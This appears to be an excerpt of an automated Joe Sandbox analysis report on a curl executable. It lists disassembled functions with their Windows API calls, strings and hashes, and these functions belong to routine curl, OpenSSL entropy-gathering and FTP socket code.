Opcode Fuzzy Hash: 036fb2a3260972fda06a18f9335a7f0da32622d34b3b687d2e9a8ccbc56a5a52
Instruction Fuzzy Hash: 6BD0C97240560CBBDB01BBF4FC098AA37ADAB88324B504500F61D86532EA76F5A1CB62

Function 00A735C0 Relevance: 1.5, APIs: 1, Instructions: 15threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00A75CD2: GetLastError.KERNEL32(00000000,?,00A6E62F,00A6FE17,00000000,?,00A7913C,?,?,?,00000000,?,00A79029,00000018,00AB7E48,00000008), ref: 00A75CD4
Part of subcall function 00A75CD2: GetCurrentThreadId.KERNEL32 ref: 00A75D1E
Part of subcall function 00A75CD2: SetLastError.KERNEL32(00000000,00A7913C,?,?,?,00000000,?,00A79029,00000018,00AB7E48,00000008,00A78F76,?,?,?,00A75BE8), ref: 00A75D36

ExitThread.KERNEL32 ref: 00A735E7

Part of subcall function 00A736C3: LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00A735DD), ref: 00A736DD
Part of subcall function 00A736C3: GetProcAddress.KERNEL32(00000000), ref: 00A736E4
Part of subcall function 00A736C3: EncodePointer.KERNEL32(00000000), ref: 00A736EF
Part of subcall function 00A736C3: DecodePointer.KERNEL32(00A735DD), ref: 00A7370A

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLastPointerThread$AddressCurrentDecodeEncodeExitLibraryLoadProc
String ID:
API String ID: 3204441827-0
Opcode ID: 765bfe13c65d84283cdf04e66c67781300842704cbc8419ebe7f5bed63b97376
Instruction ID: 381cf7b215433172176f387b0c9b56866d910f6c3675ce797e373f1b4c58ff66
Opcode Fuzzy Hash: 765bfe13c65d84283cdf04e66c67781300842704cbc8419ebe7f5bed63b97376
Instruction Fuzzy Hash: E9D0A733801B246FCA233734CE0574E76585F00304F05C015F5091D1518F65AF4195D5

Function 00A7412C Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

Part of subcall function 00A740F8: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00A74137,?,?,00A6FDBD,000000FF,0000001E,00000000,00000000,00000000,?,00A7913C), ref: 00A74107
Part of subcall function 00A740F8: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00A74119

ExitProcess.KERNEL32 ref: 00A7413B

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID:
API String ID: 75539706-0
Opcode ID: dee1a2e4799583813a8fd482cae52e258f20789a89e2da93b59d4b12e2cabc42
Instruction ID: a013cb4ed0d3db3620ef70c76c9cc1c81f36be6a701d2e19367d1a71fc86e729
Opcode Fuzzy Hash: dee1a2e4799583813a8fd482cae52e258f20789a89e2da93b59d4b12e2cabc42
Instruction Fuzzy Hash: 42B0923100010CBBCB016F55DC0A8883F29EB00290F508021F90948071DF72A9939B80

Function 0098F140 Relevance: 1.3, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000008,?,00000000), ref: 0098F219

Part of subcall function 0098EEF0: InitializeCriticalSectionEx.KERNEL32(00000000,00000000,00000001,?,?,?,?,?,00000000), ref: 0098EF3B
Part of subcall function 0098EEF0: DeleteCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 0098EF60

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CriticalSection$DeleteErrorInitializeLast
String ID:
API String ID: 4261110781-0
Opcode ID: bea45a644271edfa8d4e409c862b3245d501d7089950f52871397ded189f45ca
Instruction ID: b1f00e1d75a27089a7819eddc0e3da4b6ed3376d55b16fb7efe78460fcabd5ff
Opcode Fuzzy Hash: bea45a644271edfa8d4e409c862b3245d501d7089950f52871397ded189f45ca
Instruction Fuzzy Hash: 242123B26403019BE720AB75EC55B87BBD8AF80315F10443DFA29C63C1EB71E409CBA9

Non-executed Functions

Function 00A0B6D0 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 576libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,D8164217,?,00000000), ref: 00A0B72C
LoadLibraryA.KERNEL32(ADVAPI32.DLL,?,00000000), ref: 00A0B73D
LoadLibraryA.KERNEL32(KERNEL32.DLL,?,00000000), ref: 00A0B74A
LoadLibraryA.KERNEL32(NETAPI32.DLL,?,00000000), ref: 00A0B757
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 00A0B791
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 00A0B7A4
FreeLibrary.KERNEL32(?,?,00000000), ref: 00A0B847
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00A0B85D
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00A0B870
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00A0B883
FreeLibrary.KERNEL32(?,?,00000000), ref: 00A0B977
LoadLibraryA.KERNEL32(USER32.DLL,?,00000000), ref: 00A0B998
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00A0B9B2
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00A0B9C5
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00A0B9D8
FreeLibrary.KERNEL32(?,?,00000000), ref: 00A0BA74
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00A0BAA2
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00A0BAB5
GetProcAddress.KERNEL32(?,Heap32First), ref: 00A0BAC8
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00A0BADB
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00A0BAEE
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00A0BB01
GetProcAddress.KERNEL32(?,Process32First), ref: 00A0BB14
GetProcAddress.KERNEL32(?,Process32Next), ref: 00A0BB27
GetProcAddress.KERNEL32(?,Thread32First), ref: 00A0BB3A
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00A0BB4D
GetProcAddress.KERNEL32(?,Module32First), ref: 00A0BB60
GetProcAddress.KERNEL32(?,Module32Next), ref: 00A0BB73
GetTickCount.KERNEL32 ref: 00A0BC32
GetTickCount.KERNEL32 ref: 00A0BCFE
GetTickCount.KERNEL32 ref: 00A0BD73
GetTickCount.KERNEL32 ref: 00A0BDA2
GetTickCount.KERNEL32 ref: 00A0BDF5
GetTickCount.KERNEL32 ref: 00A0BE12
FreeLibrary.KERNEL32(?,?,00000000), ref: 00A0BF04
GlobalMemoryStatus.KERNEL32(?), ref: 00A0BF16
GetCurrentProcessId.KERNEL32(?,00000000), ref: 00A0BF84

Strings

$, xrefs: 00A0BC9A
KERNEL32.DLL, xrefs: 00A0B745
Heap32Next, xrefs: 00A0BAD0
CryptReleaseContext, xrefs: 00A0B878
Heap32ListFirst, xrefs: 00A0BAE3
Heap32First, xrefs: 00A0BABD
CryptAcquireContextW, xrefs: 00A0B857
USER32.DLL, xrefs: 00A0B993
GetForegroundWindow, xrefs: 00A0B9AC
Intel Hardware Cryptographic Service Provider, xrefs: 00A0B90E
GetCursorInfo, xrefs: 00A0B9BA
NETAPI32.DLL, xrefs: 00A0B752
Thread32Next, xrefs: 00A0BB42
NetStatisticsGet, xrefs: 00A0B78B
Process32First, xrefs: 00A0BB09
CloseToolhelp32Snapshot, xrefs: 00A0BAAA
Heap32ListNext, xrefs: 00A0BAF6
Thread32First, xrefs: 00A0BB2F
NetApiBufferFree, xrefs: 00A0B799
CreateToolhelp32Snapshot, xrefs: 00A0BA96
GetQueueStatus, xrefs: 00A0B9CD
Module32Next, xrefs: 00A0BB68
Process32Next, xrefs: 00A0BB1C
LanmanServer, xrefs: 00A0B807
Module32First, xrefs: 00A0BB55
ADVAPI32.DLL, xrefs: 00A0B732
CryptGenRandom, xrefs: 00A0B865
LanmanWorkstation, xrefs: 00A0B7CB

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: AddressProc$Library$CountTick$FreeLoad$CurrentGlobalMemoryProcessStatusVersion
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 630173092-1723836103
Opcode ID: b84fb52609ba65a90961e71e0f2a716c8630e8e075cc947f74068b39c10b23d6
Instruction ID: 1c2045f79e8c71cce98152842931e1865884e65fb51875e322c90b964d9f2109
Opcode Fuzzy Hash: b84fb52609ba65a90961e71e0f2a716c8630e8e075cc947f74068b39c10b23d6
Instruction Fuzzy Hash: 4A327EB0E5122D9BDF20DF65DD44BAEBBB8BF44700F1041E9A609A71A1DB708E81CF64

Function 009B6800 Relevance: 75.7, APIs: 27, Strings: 16, Instructions: 439libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 009B5050: WSAStartup.WS2_32(00000002,?), ref: 009B506E

LoadLibraryA.KERNEL32(WS2_32.DLL), ref: 009B6873
GetLastError.KERNEL32 ref: 009B6881
GetProcAddress.KERNEL32(00000000,WSACreateEvent), ref: 009B68B7
GetLastError.KERNEL32 ref: 009B68C1
FreeLibrary.KERNEL32(?), ref: 009B68DD

Strings

failed to find WSAEnumNetworkEvents function (%d), xrefs: 009B69AC
WSAEventSelect, xrefs: 009B6946
WSAEnumNetworkEvents, xrefs: 009B6992
failed to find WSACloseEvent function (%d), xrefs: 009B6914
WSACreateEvent failed (%d), xrefs: 009B69F3
WS2_32.DLL, xrefs: 009B686E
WSACloseEvent failed (%d), xrefs: 009B6D3F
Time-out, xrefs: 009B6D13
WSACreateEvent, xrefs: 009B68B1
FreeLibrary(wsock2) failed (%d), xrefs: 009B6D62
failed to find WSAEventSelect function (%d), xrefs: 009B6960
failed to find WSACreateEvent function (%d), xrefs: 009B68C8
WSAEnumNetworkEvents failed (%d), xrefs: 009B6C17
failed to load WS2_32.DLL (%d), xrefs: 009B6888
WSACloseEvent, xrefs: 009B68FA
, xrefs: 009B6CBC

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLastLibrary$AddressFreeLoadProcStartup
String ID: $FreeLibrary(wsock2) failed (%d)$Time-out$WS2_32.DLL$WSACloseEvent$WSACloseEvent failed (%d)$WSACreateEvent$WSACreateEvent failed (%d)$WSAEnumNetworkEvents$WSAEnumNetworkEvents failed (%d)$WSAEventSelect$failed to find WSACloseEvent function (%d)$failed to find WSACreateEvent function (%d)$failed to find WSAEnumNetworkEvents function (%d)$failed to find WSAEventSelect function (%d)$failed to load WS2_32.DLL (%d)
API String ID: 2366007301-2939610961
Opcode ID: f2ddf92a0cc855cb7742ed1510c5b2931c9db6cb56011028a9e7c650ebb1bea3
Instruction ID: c18ed112770a95128446490f818454295b54e72542fda197967b9a190da40599
Opcode Fuzzy Hash: f2ddf92a0cc855cb7742ed1510c5b2931c9db6cb56011028a9e7c650ebb1bea3
Instruction Fuzzy Hash: 12E1C271608301ABD710EF64DD46BABBBE8EF84325F04492CF985962E2D739DC45CB92

Function 009C4BD0 Relevance: 53.5, Strings: 42, Instructions: 989COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C592E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4EFB
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5223
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4F64
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C517E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5344
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C58F2
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5676
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4E84
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C54B7
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5658
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5910
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5825
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4E20
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4F2C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4FDB
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C52D1
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C56A6
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5841
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C58D9
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C50D8
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C51ED
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4F95
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5518
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5373
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5300
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5998
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4E4D
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C500C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C525E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C514E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5422
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C528D
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4EB5
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C509B
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5487
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C594C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4DA2
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5108
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C5966
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C4D8A
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C58C3

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c
API String ID: 0-4105926626
Opcode ID: acd742001d08dd4063cf2593f8ed24631cceaa71055bd50ae1dfb673cca50982
Instruction ID: 73cc40d031fbe7abca9c589be0943d4349ca523407b7be10e41cbf91edd8da59
Opcode Fuzzy Hash: acd742001d08dd4063cf2593f8ed24631cceaa71055bd50ae1dfb673cca50982
Instruction Fuzzy Hash: 7E82DE71E447409BD710DF14C892F2A77E5AB84744F0A496DF88AAB3C2DA75ED40CB83

Function 009AC810 Relevance: 51.3, APIs: 13, Strings: 16, Instructions: 585networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32(?,?,?), ref: 009ACA39
WSAGetLastError.WS2_32 ref: 009ACA43
WSAGetLastError.WS2_32 ref: 009ACB3B
bind.WS2_32(?,?,?), ref: 009ACBBB
WSAGetLastError.WS2_32 ref: 009ACBC9
getsockname.WS2_32(?,?,00000080), ref: 009ACC15
WSAGetLastError.WS2_32 ref: 009ACC4C
closesocket.WS2_32(?), ref: 009ACC93
getsockname.WS2_32(?,?,?), ref: 009ACCEB
WSAGetLastError.WS2_32 ref: 009ACCF5
listen.WS2_32(?,00000001), ref: 009ACD27
WSAGetLastError.WS2_32 ref: 009ACD31

Part of subcall function 009823B0: GetLastError.KERNEL32(?,00000000,?,0098D974), ref: 009823B7
Part of subcall function 009823B0: GetLastError.KERNEL32(?,?,?,?,0098D974), ref: 0098246B
Part of subcall function 009823B0: SetLastError.KERNEL32(00000000,?,?,?,?,0098D974), ref: 00982476

Part of subcall function 0098E530: closesocket.WS2_32(?), ref: 0098E55C

htons.WS2_32(?), ref: 009ACDF9

Strings

getsockname() failed: %s, xrefs: 009ACC5C
PORT, xrefs: 009ACEA7
%s %s, xrefs: 009ACEB2
failed to resolve the address provided to PORT: %s, xrefs: 009ACF8E
EPRT, xrefs: 009ACF1A
Failure sending PORT command: %s, xrefs: 009ACED6
getsockname() failed: %s, xrefs: 009ACA53
bind() failed, we ran out of ports!, xrefs: 009ACF77
socket failure: %s, xrefs: 009ACD41
%s |%d|%s|%hu|, xrefs: 009ACF25
getsockname() failed: %s, xrefs: 009ACD05
Failure sending EPRT command: %s, xrefs: 009ACF45
